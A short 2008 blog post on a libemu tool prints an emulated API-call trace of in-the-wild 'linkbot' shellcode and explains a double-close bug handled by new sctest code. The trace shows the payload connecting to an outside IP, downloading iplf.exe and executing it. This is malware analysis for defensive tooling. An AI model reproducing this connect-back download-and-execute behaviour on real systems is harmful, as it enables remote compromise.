the nanny at work

This is the list of system calls from the famous linkbot connectback filetransfer shellcode. I only transfer'd some bytes so it does not get too long.

HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fe90 => 
           = "ws2_32";
) = 0x71a10000;
SOCKET socket (
     int af = 2;
     int type = 1;
     int protocol = 0;
) =  3;
int connect (
     SOCKET s = 3;
     struct sockaddr_in * name = 0x0012fc80 => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 6460 (port=15385);
             struct in_addr sin_addr = {
                 unsigned long s_addr = -19321026 (host=62.47.217.254);
             };
             char sin_zero = "       ";
         };
     int namelen = 16;
) =  0;
int recv (
     SOCKET s = 3;
     char * buf = 0x0012fc90 => 
         none;
     int len = 512;
     int flags = 0;
) =  512;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fa58 => 
           = "ws2_32";
) = 0x71a10000;
int send (
     SOCKET s = 3;
     const char * buf = 0x0012fc60 => 
           = ".binary." (4 bytes);
     int len = 4;
     int flags = 0;
) =  4;
HANDLE CreateFile (
     LPCTSTR lpFileName = 0x0012fd38 => 
           = "iplf.exe";
     DWORD dwDesiredAccess = -1073741824;
     DWORD dwShareMode = 0;
     LPSECURITY_ATTRIBUTES lpSecurityAttributes = 0x00000000 => 
         none;
     DWORD dwCreationDisposition = 1;
     DWORD dwFlagsAndAttributes = 2;
     HANDLE hTemplateFile = 0;
) =  134989584;
int recv (
     SOCKET s = 3;
     char * buf = 0x0012fa60 => 
         none;
     int len = 512;
     int flags = 0;
) =  380;
BOOL WriteFile (
     HANDLE hFile = 134989584;
     LPCVOID lpBuffer = 0x0012fa60 => 
           = ".binary." (380 bytes);
     DWORD nNumberOfBytesToWrite = 380;
     LPDWORD lpNumberOfBytesWritten = 0x0012fc70 => 
         none;
     LPOVERLAPPED lpOverlapped = 0x00000000 => 
         none;
) =  1;
int recv (
     SOCKET s = 3;
     char * buf = 0x0012fa60 => 
         none;
     int len = 512;
     int flags = 0;
) =  0;
BOOL CloseHandle (
     HANDLE hObject = 134989584;
) =  0;
BOOL CreateProcess (
     LPCWSTR pszImageName = 0x0012fd38 => 
           = "iplf.exe";
     LPCWSTR pszCmdLine = 0x00000000 => 
           = "";
     LPSECURITY_ATTRIBUTES psaProcess = 0x00000000 => 
         none;
     LPSECURITY_ATTRIBUTES psaThread = 0x00000000 => 
         none;
     BOOL fInheritHandles = 0;
     DWORD fdwCreate = 0;
     LPVOID pvEnvironment = 0x00000000 => 
         none;
     LPWSTR pszCurDir = 0x00000000 => 
         none;
     struct LPSTARTUPINFOW psiStartInfo = 0x0012fa14 => 
         struct   = {
             DWORD cb = 68;
             LPTSTR lpReserved = 0;
             LPTSTR lpDesktop = 0;
             LPTSTR lpTitle = 0;
             DWORD dwX = 0;
             DWORD dwY = 0;
             DWORD dwXSize = 0;
             DWORD dwYSize = 0;
             DWORD dwXCountChars = 0;
             DWORD dwYCountChars = 0;
             DWORD dwFillAttribute = 0;
             DWORD dwFlags = 0;
             WORD wShowWindow = 0;
             WORD cbReserved2 = 0;
             LPBYTE lpReserved2 = 0;
             HANDLE hStdInput = 0;
             HANDLE hStdOutput = 0;
             HANDLE hStdError = 0;
         };
     struct PROCESS_INFORMATION pProcInfo = 0x0052f74c => 
         struct   = {
             HANDLE hProcess = 4711;
             HANDLE hThread = 4712;
             DWORD dwProcessId = 4713;
             DWORD dwThreadId = 4714;
         };
) =  1;
DWORD WaitForSingleObject (
     HANDLE hHandle = 4713;
     DWORD dwMilliseconds = 256;
) =  0;
BOOL CloseHandle (
     HANDLE hObject = 134989584;
) =  0;
ERROR  DeleteFile (
     LPCTSTR lpFileName = 0x0012fd38 => 
         none;
) =  -1;
int closesocket (
     SOCKET s = 3;
) =  0;
void ExitThread (
     DWORD dwExitCode = 4714;
) =  0;

Obviously the shellcode works in the wild, but nevertheless, the shellcode is buggy. After the connection streaming the file got shut down (recv() = 0), the file handle is closed (CloseHandle(134989584)), after executing the file, the file handle gets closed again (CloseHandle(134989584)).

If you fclose() a file twice on linux, the second call will segfault, as the memory access'd for the second fclose() is already free()'d. Therefore we need a nanny, verifying we do not close files twice.

I just added some nanny code to subversion to deal with it in the sctest utility. Now, the shellcode runs fine again in sctest, closing the same handle twice just gives the warning

shellcode tried to close not existing handle (maybe closed it already?)

to the console.

Comments



2008/07/21/libemu_nanny.txt · Last modified: 2010/06/15 13:14 by common
chimeric.de = chi`s home Creative Commons License Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0